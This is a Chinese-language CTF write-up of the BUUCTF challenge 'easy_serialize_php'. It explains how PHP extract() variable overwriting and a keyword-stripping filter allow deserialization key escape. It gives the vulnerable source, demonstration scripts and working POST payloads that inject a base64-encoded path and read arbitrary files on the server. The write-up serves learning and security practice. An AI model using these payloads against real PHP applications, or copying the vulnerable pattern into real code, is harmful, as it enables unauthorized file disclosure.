BUUCTF之[安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计

BUUCTF之[安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计

知识点

  • 反序列化中的对象逃逸
  • extract()变量覆盖

虽然这题说很easy,但是一点都不easy。我花了好长的时间才能看懂。但是里面的知识点却很有意思,希望我能记下来…
废话不多说,放代码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
?>

先分析一下源代码
这段代码是会把php、flag、php5、php4和flig过滤为空字符串。这个过滤很重要,等等我们会用到

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

这里提示我们在phpinfo里可以找到和flag相关的信息

else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!

找到可疑文件:d0g3_f1ag.php
在这里插入图片描述
爆flag

else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
 }

另外,还有明确几个点
1.序列化/反序列化

  • 序列化后的结果是一串字符串。
  • 反序列化会解开序列化的字符串生成相应类型的数据。

在这里插入图片描述
2.序列化/反序列化转换的代码

<?php
$Test['admin'] = "root";
$Test['flag'] = "123456";
$a = serialize($Test);
var_dump($a);
# 输出的序列化为:string 'a:2:{s:5:"admin";s:4:"root";s:4:"flag";s:6:"123456";}' (length=53)

echo "<br/>";
$b = unserialize($a);
var_dump($b);
# 输出的反序列化为:
# array (size=2)
#  'admin' => string 'root' (length=4)
#  'flag' => string '123456' (length=6)
?>

其中的a表示数组,a:2表示该数组里有两个值。而s表示是字符串(其实你敢做这题说明你序列化/反序列化这部分知识还是有的,所以我就不过多解释了。毕竟重点的在后面…)

3.extract()变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

这里你可以理解为:销毁$_SESSION变量 --》 给$_SESSION变量赋值 --》 extract()变量覆盖
但是,其实段代码是出题人干扰项的。上面的代码和下面的这行代码是等价的。

extract($_POST);

4.extract()变量覆盖代码
在这里插入图片描述

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'test';

var_dump($_SESSION);
echo "<br/>";
# extract() 变量覆盖前输出的:
# array (size=2)
#  'user' => string 'guest' (length=5)
#  'function' => string 'test' (length=4)


extract($_POST);
var_dump($_SESSION);
# extract() 变量覆盖后
# array (size=1)
#  'flag' => string 'flag' (length=4)

?>

虽然知道了变量覆盖的原理,但是我们又不能直接给$_SESSION[‘img’]赋值。因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

这时反序列化中的对象逃逸就派上用场了,同时我们还需要用到出题人的这个过滤函数

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

键值逃逸

  • 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
  • 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号{}外的就都被扔掉。

示例代码

<?php
header("Content-type:text/html;charset=utf-8");

echo("#正规序列化的字符串");
$a = 'a:2:{s:3:"one";s:1:"1";s:3:"two";s:1:"2";}';
var_dump(unserialize($a));


echo("#带有多余的字符的字符串");
$a_laji = 'a:2:{s:3:"one";s:1:"1";s:3:"two";s:1:"2";};s:3:"three";s:1:"3";';
var_dump(unserialize($a_laji));
?>

示例结果
在这里插入图片描述
这个就是反序列化的逃逸概念,所以现在就需要把$_SESSION[‘img’] 的img属性放到花括号外边去。然后在花括号里面放我们需要的img属性,那么他本来要求的img属性就被咱们替换了。


那具体该怎么构造呢?我们先来看一下大佬的payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

分析一下这个payload
首先我们需要构造img属性:

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="; 

其中的ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php的base64加密的结果
然后在这个属性前面随便加上个序列化字符串(只要是合法的就行),比如:

  • ;s:1:“1”;
  • ;s:2:“10”;
  • ;s:3:“100”;

所以payload可以为:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[phpflag]=;s:2:"10";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[phpflag]=;s:3:"100";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

第二个问题:
为什么在_SESSION[]里面的值是phpflag呢?因为php和flag都是在黑名单过滤函数里面,且总长度刚好为7。

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

所以,这里的phpflag可以换成:

  • phpphp5
  • phpphp4
  • phpfl1g

等等,只要长度正好为7就可以。那为什么一定要长度正好为7呢?继续往下看。。。。

我们先来测试一下大佬的payload是什么效果

<?php
header("Content-type:text/html;charset=utf-8");

echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));

echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>

上面代码返回结果
在这里插入图片描述
但是,如果添加了黑名单的filter函数把phpflag过滤了会发生什么事?

<?php
header("Content-type:text/html;charset=utf-8");

# echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
# var_dump( serialize($_SESSION));

# echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
# var_dump(serialize($_SESSION));

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

echo "没有黑名单过滤的反序列化后";
$test = serialize($_SESSION);
var_dump(unserialize($test));

echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";

echo "有黑名单过滤的反序列化后";
$test = filter(serialize($_SESSION));
var_dump(unserialize($test));
?>

结果
在这里插入图片描述
问题三:现在可以回答为什么上面的长度为什么要求为7的问题了
字符串:

a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
  1. 经过filter过滤后phpflag就会被替换成空
  2. s:7:“phpflag"就变成了 s:7:”"
    但是这里会出现问题,因为这里要求的字符串的长度为7,但是这里却是空字符串。所以它会向后索取字符串。直到长度正好为7。
  3. 细心的话,可以看到 ";s:48: 这个字符串的长度正好为7

当phpflag被替换成空字符串时,原本的键值对就变成:

  1. 第一个变量的名: s:7:"";s:48:";
  2. 第一个变量的值: s:1:“1”;
  3. 第二个变量的名: s:3:“img”;
  4. 第二个变量的值: s:20:“ZDBnM19mMWFnLnBocA==”;

再加上PHP序列化的严格规定,会把后面多余的字符串丢弃。就变成了:

a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

分析完毕
这就是大佬们payload反序列化逃逸的原理。所以提交payload开始获取flag:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

提交完这个payload会发现下一步的提示:$flag = 'flag in /d0g3_fllllllag';
在这里插入图片描述
在这里插入图片描述
提示我们flag在/d0g3_fllllllag中(注意/不能漏),所以把/d0g3_fllllllag加密成base64。然后提交payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

在这里插入图片描述

参考来源:https://www.cnblogs.com/h3zh1/p/12732336.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值